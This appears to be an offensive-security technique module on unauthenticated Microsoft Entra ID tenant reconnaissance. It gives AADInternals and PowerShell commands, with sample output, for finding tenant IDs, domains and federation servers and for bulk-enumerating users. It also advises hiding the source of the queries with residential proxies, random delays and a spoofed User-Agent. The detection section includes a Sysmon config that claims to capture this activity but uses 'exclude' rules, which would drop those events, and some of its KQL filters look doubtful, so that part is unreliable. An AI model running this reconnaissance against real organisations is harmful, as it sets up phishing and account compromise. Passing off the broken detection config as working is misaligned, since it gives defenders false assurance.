| Field | Value |
|---|---|
| Module ID | REC-AD-001 |
| Technique Name | Tenant Discovery via domain properties |
| MITRE ATT&CK ID | T1590.001 – Gather Victim Network Information: Domain Properties |
| CVE | N/A (Pre-compromise reconnaissance) |
| Platform | Microsoft Entra ID (Azure AD) |
| Viability Status | ACTIVE ✓ |
| Difficulty to Detect | HIGH |
| Requires Authentication | No |
| Applicable Versions | All Entra ID tenants (including GCC-H, DOD clouds) |
| Last Verified | December 2025 |
| Author | SERVTEP – Artur Pchelnikau |
Tenant discovery via domain properties is a critical reconnaissance technique that allows unauthenticated threat actors to enumerate Entra ID (Azure AD) tenant information using publicly accessible Microsoft APIs. This pre-compromise activity requires no credentials and leaves minimal forensic evidence on the target tenant, making it a ubiquitous starting point for cloud-focused attacks.
Threat Profile: An external attacker with only a target organization’s domain name can discover:
Business Impact:
Install-Module -Name AADInternals-GCC switch in AADInternalsBefore executing this technique, conduct open-source reconnaissance to identify:
company.comlogin.microsoftonline.com (no filtering expected)Objective: Extract tenant ID from domain name using OpenID Configuration endpoint.
# Step 1: Install AADInternals if not present
if (-not (Get-Module AADInternals -ListAvailable)) {
Install-Module -Name AADInternals -Force -Scope CurrentUser
}
# Step 2: Import module
Import-Module AADInternals
# Step 3: Get tenant ID from domain
$TenantID = Get-AADIntTenantID -Domain "company.com"
Write-Output "Tenant ID: $TenantID"
# Expected Output:
# Tenant ID: 05aea22e-32f3-4c35-831b-52735704feb3
API Endpoint Being Queried:
https://login.microsoftonline.com/company.com/.well-known/openid-configuration
Response Fields (Selected):
{
"issuer": "https://sts.windows.net/05aea22e-32f3-4c35-831b-52735704feb3/",
"tenant_region_scope": "WW",
"token_endpoint": "https://login.microsoftonline.com/05aea22e-32f3-4c35-831b-52735704feb3/oauth2/token"
}
Objective: Enumerate all registered domains in the tenant.
# Get all domains associated with a tenant
$Domains = Get-AADIntTenantDomains -Domain "company.com"
# Display results
foreach ($Domain in $Domains) {
Write-Output "Domain: $Domain"
}
# Expected Output:
# Domain: company.com
# Domain: company.onmicrosoft.com
# Domain: company.mail.onmicrosoft.com
# Domain: subsidiary.com (if owned)
API Endpoint Being Queried:
https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc
Parameter Sent:
Email=autodiscover@company.com
Response (Parsed): Returns all domains in tenant along with preferred server URLs.
Objective: Execute full tenant enumeration including domain types, federation endpoints, and DNS records.
# Execute comprehensive reconnaissance
$ReconResults = Invoke-AADIntReconAsOutsider -DomainName "company.com"
# Display formatted output
$ReconResults | Format-Table -Property Name, Type, STS, DNS, MX, SPF, DMARC, DKIM, `
@{Name='TenantID'; Expression={$ReconResults[0].TenantID}}, `
@{Name='TenantBrand'; Expression={$ReconResults[0].TenantBrand}} `
-AutoSize
# Expected Output:
# Tenant brand: Company Ltd
# Tenant name: company
# Tenant id: 05aea22e-32f3-4c35-831b-52735704feb3
# Tenant region: NA
# DesktopSSO enabled: True
#
# Name Type DNS MX SPF DMARC DKIM MTA-STS STS
# ---- ---- --- -- --- ----- ---- ------- ---
# company.com Federated True True True False False False sts.company.com
# company.onmicrosoft.com Managed True True True False False False
# company.mail.onmicrosoft.com Managed True True True False False False
# subsidiary.com Managed False False False False False False
Information Extracted:
Objective: Extract ADFS server metadata and federation endpoints.
# Get login information for a domain (includes federation details)
$LoginInfo = Get-AADIntLoginInformation -Domain "company.com"
# Display federation details
Write-Output "Account Type: $($LoginInfo.AccountType)"
Write-Output "Federation Metadata URL: $($LoginInfo.FederationMetadataUrl)"
Write-Output "Federation Brand Name: $($LoginInfo.FederationBrandName)"
Write-Output "Authentication URL: $($LoginInfo.AuthURL)"
# Expected Output:
# Account Type: Federated
# Federation Metadata URL: https://sts.company.com/adfs/services/trust/mex
# Federation Brand Name: Company Ltd
# Authentication URL: https://sts.company.com/adfs/ls/?username=user@company.com&wa=wsignin1.0
APIs Being Queried:
https://login.microsoftonline.com/common/GetUserRealm.srf?login=autodiscover@company.com
https://login.microsoftonline.com/common/GetCredentialType
Objective: Determine if specific users exist in the tenant (if Seamless SSO is enabled).
# Single user check
$UserExists = Invoke-AADIntUserEnumerationAsOutsider -UserName "john.smith@company.com"
Write-Output "User Exists: $($UserExists.Exists)"
# Bulk user enumeration from file
$Users = Get-Content -Path "C:\wordlists\potential_employees.txt"
$Results = $Users | Invoke-AADIntUserEnumerationAsOutsider -Method "Autologon"
# Export to CSV for analysis
$Results | Where-Object {$_.Exists -eq $true} | Export-Csv -Path "C:\enum_results.csv" -NoTypeInformation
# Expected Output (for sample of 1000 names):
# UserName Exists
# -------- ------
# john.smith@company.com True
# jane.doe@company.com True
# bob.johnson@company.com False
# alice.williams@company.com True
Enumeration Methods Available:
| Function | Purpose | Authentication | Returns |
|---|---|---|---|
Get-AADIntTenantID -Domain {domain} |
Extract tenant ID | None | UUID of tenant |
Get-AADIntTenantDomains -Domain {domain} |
Enumerate all domains | None | Array of domain names |
Get-AADIntOpenIDConfiguration -Domain {domain} |
Retrieve OIDC metadata | None | JSON with endpoints, issuer |
Get-AADIntLoginInformation -Domain {domain} |
Get authentication type & metadata | None | AccountType, FederationMetadataUrl, etc. |
Invoke-AADIntReconAsOutsider -DomainName {domain} |
Full reconnaissance | None | Comprehensive tenant details |
Invoke-AADIntUserEnumerationAsOutsider -UserName {user} |
Check user existence | None (method-dependent) | Boolean (Exists: true/false) |
# Native PowerShell DNS queries
Resolve-DnsName -Name "company.com" -Type MX | Select-Object Name, Type, NameExchange
Resolve-DnsName -Name "company.com" -Type TXT | Select-Object Name, Strings
Resolve-DnsName -Name "_dmarc.company.com" -Type TXT
Resolve-DnsName -Name "default._domainkey.company.com" -Type TXT
# Get OpenID Configuration (alternative to function)
$Domain = "company.com"
$OpenIDEndpoint = "https://login.microsoftonline.com/$Domain/.well-known/openid-configuration"
$Response = Invoke-RestMethod -Uri $OpenIDEndpoint -UseBasicParsing
$TenantID = $Response.issuer.Split("/")[3]
Write-Output "Tenant ID: $TenantID"
# Get autodiscover domains (alternative to function)
$AutodiscoverEndpoint = "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc"
$Body = @{Email="user@$Domain"} | ConvertTo-Json
$Response = Invoke-RestMethod -Uri $AutodiscoverEndpoint -Method Post -Body $Body -UseBasicParsing
# Parse XML response for domain names
# Execute through VPN/proxy to mask source IP
# Recommended: Use residential proxies or organizational VPN for attribution evasion
# Randomize queries to avoid pattern detection
$Domains = @("company.com", "company.com", "company.com") # repeat with delays
foreach ($Domain in $Domains) {
$TenantID = Get-AADIntTenantID -Domain $Domain
Start-Sleep -Seconds (Get-Random -Minimum 2 -Maximum 8) # Random delay
}
# Use custom User-Agent to blend with legitimate traffic
Set-AADIntUserAgent -Device "Windows"
Set-AADIntSetting -Setting "User-Agent" -Value "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
Objective: Validate ability to extract tenant ID from domain.
Procedure:
$TargetDomain = "company.com"
$TenantID = Get-AADIntTenantID -Domain $TargetDomain
$IsValidGUID = $TenantID -match '^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$'
if ($IsValidGUID) { Write-Output "✓ Test PASSED: Valid Tenant ID extracted" } else { Write-Output "✗ Test FAILED" }
Success Criteria: Returns valid UUID format (8-4-4-4-12 hex pattern).
Objective: Validate domain enumeration returns multiple domains.
Procedure:
$TargetDomain = "company.com"
$Domains = Get-AADIntTenantDomains -Domain $TargetDomain
if ($Domains.Count -ge 2) {
Write-Output "✓ Test PASSED: Found $($Domains.Count) domains"
$Domains | ForEach-Object { Write-Output " - $_" }
} else {
Write-Output "✗ Test FAILED: Expected multiple domains"
}
Success Criteria: Returns array with minimum 2 domains (.onmicrosoft.com domains always present).
Objective: Validate identification of federated vs. managed domains.
Procedure:
$TargetDomain = "company.com"
$Recon = Invoke-AADIntReconAsOutsider -DomainName $TargetDomain
$FederatedDomains = @($Recon | Where-Object {$_.Type -eq "Federated"})
if ($FederatedDomains.Count -ge 1) {
Write-Output "✓ Test PASSED: Detected $($FederatedDomains.Count) federated domain(s)"
Write-Output " ADFS Server: $($FederatedDomains[0].STS)"
} else {
Write-Output "✓ Test PASSED: No federated domains (Managed only)"
}
Success Criteria: Correctly identifies domain type and ADFS endpoints where applicable.
Objective: Validate user enumeration capability (requires Desktop SSO enabled).
Procedure:
$TargetDomain = "company.com"
$TestUser = "john.doe@$TargetDomain"
$Recon = Invoke-AADIntReconAsOutsider -DomainName $TargetDomain
if ($Recon[0].DesktopSSO -eq $true) {
$Result = Invoke-AADIntUserEnumerationAsOutsider -UserName $TestUser
Write-Output "✓ Test PASSED: User enumeration enabled (Desktop SSO active)"
Write-Output " Test user '$TestUser' exists: $($Result.Exists)"
} else {
Write-Output "⚠ Test SKIPPED: Desktop SSO not enabled (user enumeration unavailable)"
}
Success Criteria: If Desktop SSO enabled, returns boolean for user existence. If disabled, gracefully skips test.
Rule Configuration:
KQL Query:
let timerange = 1h;
let threshold = 10;
SigninLogs
| where TimeGenerated > ago(timerange)
| where AppDisplayName == "OpenID Connect Provider" or ResourceDisplayName == "Microsoft Azure"
| where AuthenticationContextClassReferences contains "external"
| summarize
QueryCount = count(),
UniqueUsers = dcount(UserPrincipalName),
UniqueApps = dcount(AppDisplayName),
FirstQuery = min(TimeGenerated),
LastQuery = max(TimeGenerated),
SourceIPs = make_set(IPAddress, 10)
by ClientAppUsed
| where QueryCount > threshold
| extend AlertSeverity = "Medium", TechniqueID = "T1590.001"
What This Detects:
Manual Configuration Steps (Azure Portal):
External Tenant Discovery via OpenID ConfigurationMedium5 minutes1 hourManual Configuration Steps (PowerShell):
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
$Query = @"
let timerange = 1h;
let threshold = 10;
SigninLogs
| where TimeGenerated > ago(timerange)
| where AppDisplayName == "OpenID Connect Provider"
| summarize QueryCount = count() by ClientAppUsed
| where QueryCount > threshold
"@
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "External Tenant Discovery via OpenID" `
-Query $Query `
-Severity "Medium" `
-Enabled $true
Rule Configuration:
KQL Query:
let timerange = 5m;
let threshold = 50; // Adjust based on environment
SigninLogs
| where TimeGenerated > ago(timerange)
| where AppDisplayName contains "GetCredentialType" or
ResourceDisplayName == "Microsoft Azure" and
AuthenticationProtocol == "deviceCode"
| summarize
AttemptCount = count(),
UniqueUserNames = dcount(UserPrincipalName),
UniqueSources = dcount(IPAddress),
FailureCount = countif(ResultType != 0),
SuccessCount = countif(ResultType == 0)
by ClientAppUsed, IPAddress
| where AttemptCount > threshold
| extend AlertSeverity = "High", TechniqueID = "T1590.001"
What This Detects:
Log Source: Security event log
Trigger: When reconnaissance is followed by credential validation attempts.
Filter: Look for patterns indicating enumeration:
Manual Configuration Steps (Group Policy):
gpupdate /force on domain controllersManual Configuration Steps (PowerShell):
# Enable logon auditing
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Account Logon" /success:enable /failure:enable
# Verify settings
auditpol /get /subcategory:"Logon" /r
Minimum Sysmon Version: 13.0+
Supported Platforms: Windows (10, Server 2016+)
Sysmon Config Snippet (for capturing PowerShell execution):
<Sysmon schemaversion="4.30">
<EventFiltering>
<!-- Capture PowerShell process creation with AADInternals execution -->
<ProcessCreate onmatch="exclude">
<CommandLine condition="contains">powershell.exe</CommandLine>
<CommandLine condition="contains">AADInternals</CommandLine>
<CommandLine condition="contains">Get-AADIntTenantID</CommandLine>
<CommandLine condition="contains">Invoke-AADIntReconAsOutsider</CommandLine>
</ProcessCreate>
<!-- Capture network connections to login.microsoftonline.com -->
<NetworkConnect onmatch="exclude">
<DestinationHostname condition="contains">login.microsoftonline.com</DestinationHostname>
<DestinationHostname condition="contains">autodiscover-s.outlook.com</DestinationHostname>
<DestinationPort>443</DestinationPort>
</NetworkConnect>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64 | Select-Object Status
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 | Format-Table TimeCreated, Message
Alert Name: “Suspicious use of external API endpoints detected”
Manual Configuration Steps (Enable Defender for Cloud):
# Connect to Purview
Connect-ExchangeOnline
# Search for external API queries
Search-UnifiedAuditLog `
-StartDate (Get-Date).AddDays(-90) `
-EndDate (Get-Date) `
-Operations "UserLoggedIn" `
-FreeText "OpenID" `
-Verbose | Select-Object TimeCreated, UserIds, ClientIP, ResultStatus | Export-Csv C:\audit_export.csv
Operation: UserLoggedIn, Authentication (varies by workload) Workload: AzureActiveDirectory Details to Analyze:
| Activity | Appears As | Legitimate Reason | How to Distinguish |
|---|---|---|---|
| Okta/Ping Federation sync | OpenID config queries | Federated identity sync jobs | Regular schedule, from known IP block, service account |
| SharePoint Discovery | Bulk API calls | SPO tenant discovery | Occurs only once during provisioning |
| M365 Health Dashboard | GetCredentialType queries | Service health checks | Service principal source, scheduled pattern |
| Legacy app authentication | Multiple logon attempts | Legacy applications retrying auth | Same user ID, same source IP, regular intervals |
Tuning Recommendations:
// Exclude known legitimate services from detection
let KnownServiceAccounts = dynamic(["srv_adsync@company.com", "svc_federation@company.com"]);
let KnownServiceIPs = dynamic(["10.0.1.100", "192.168.1.50"]);
SigninLogs
| where UserPrincipalName !in (KnownServiceAccounts)
| where IPAddress !in (KnownServiceIPs)
// ... rest of detection query
Microsoft does not provide built-in controls to disable OpenID/Autodiscover endpoints (they are globally accessible).
Alternative Mitigation: Monitor and Alert
Manual Steps (PowerShell - Detection only):
# Create alert for external reconnaissance activity
# (Requires Sentinel workspace and Log Analytics)
$ResourceGroup = "SecurityRG"
$WorkspaceName = "LogAnalytics-Sentinel"
$AlertRuleName = "Tenant Discovery via Domain Properties"
# Alert rule would be created via Azure Portal or ARM template
# (No direct PowerShell cmdlet for this specific rule)
While this doesn’t prevent reconnaissance, it blocks follow-on attacks using discovered credentials.
Manual Steps:
Block Legacy Authentication - Reconnaissance PreventionManual Steps:
Manual Steps:
Restrict Federated Sign-in to Known LocationsIf you suspect reconnaissance has occurred:
Connect-ExchangeOnline
$90DaysAgo = (Get-Date).AddDays(-90)
Search-UnifiedAuditLog -StartDate $90DaysAgo -Operations "UserLoggedIn" `
-Verbose | Where-Object {$_.AuditData -match "OpenID|autodiscover"} | Export-Csv recon_audit.csv
SigninLogs
| where TimeGenerated > ago(30d)
| where AppDisplayName == "Microsoft Azure" or ResourceDisplayName == "Azure AD Graph"
| where AuthenticationContextClassReferences contains "external"
| summarize by IPAddress, UserPrincipalName, TimeGenerated
| Preceding Technique | Current Technique | Following Technique |
|---|---|---|
| T1592 (Gather Victim Host Info) | T1590.001 (Domain Properties) | T1589 (Gather Victim Identity Info) |
| T1595 (Active Scanning) | ← | T1598 (Phishing for Information) |
| T1598 (Phishing) | ← | T1589 (Account Enumeration) |
| T1087 (Account Discovery) | ||
| T1087.004 (Cloud Account Discovery) | ||
| T1078 (Valid Accounts - attempt to use discovered creds) |
Phase 1: Reconnaissance (T1590.001)
├─ Attacker discovers company.com tenant ID: 05aea22e-32f3-4c35-831b-52735704feb3
├─ Enumerates domains: company.com, company.onmicrosoft.com
├─ Identifies ADFS server: sts.company.com (Federated domain)
└─ Detects Desktop SSO enabled
Phase 2: Account Enumeration (T1087.004)
├─ Uses discovered Desktop SSO to enumerate users
├─ Builds list of valid email addresses
└─ Cross-references with LinkedIn for org structure
Phase 3: Credential Compromise (T1566 - Phishing)
├─ Sends targeted phishing emails to enumerated users
├─ Uses device code flow to harvest tokens
└─ Gains initial foothold with user credentials
Phase 4: Persistence (T1098 - Account Manipulation)
├─ Creates backdoor via federated domain conversion
├─ Registers malicious service principal
└─ Establishes long-term access
Context: NOBELIUM targeted supply-chain vendors using Entra ID reconnaissance.
Execution:
Detection Opportunities:
Lessons:
Context: Scattered Spider used reconnaissance for targeted phishing and social engineering.
Execution:
Detection Opportunities:
Lessons:
| Standard | Requirement | Mapping |
|---|---|---|
| CIS Controls v8 | CIS 6.1, 6.2 (Account Management & Monitoring) | Enumerate and monitor external API access to Entra ID endpoints |
| DISA STIG | N/A | Pre-compromise activity outside DoD scope |
| NIST 800-53 | SC-7 (Boundary Protection), AC-2 (Account Management) | Minimize external exposure of tenant metadata; implement Conditional Access policies |
| GDPR | Article 32 (Security Measures) | Implement monitoring to detect unauthorized enumeration attempts |
| DORA | Operational Resilience in Cloud Services | Monitor cloud identity service security events; implement alerting |
| NIS2 | Detectability & Containment | Establish baseline for normal API traffic; alert on deviations |
| ISO 27001:2022 | 5.2 (Information Security Policies), 8.2 (Access Control) | Implement technical controls to prevent unauthorized information gathering |
- name: Get AADInternals Tenant Information
description: Enumerate Entra ID tenant using AADInternals module
platforms:
- windows
- macos
- linux
input_arguments:
domain:
description: Target domain name
type: string
default: "microsoft.com"
executor:
name: powershell
elevation_required: false
command: |
Install-Module -Name AADInternals -Force
Import-Module AADInternals
Get-AADIntTenantID -Domain #{domain}
Get-AADIntTenantDomains -Domain #{domain}
Invoke-AADIntReconAsOutsider -DomainName #{domain}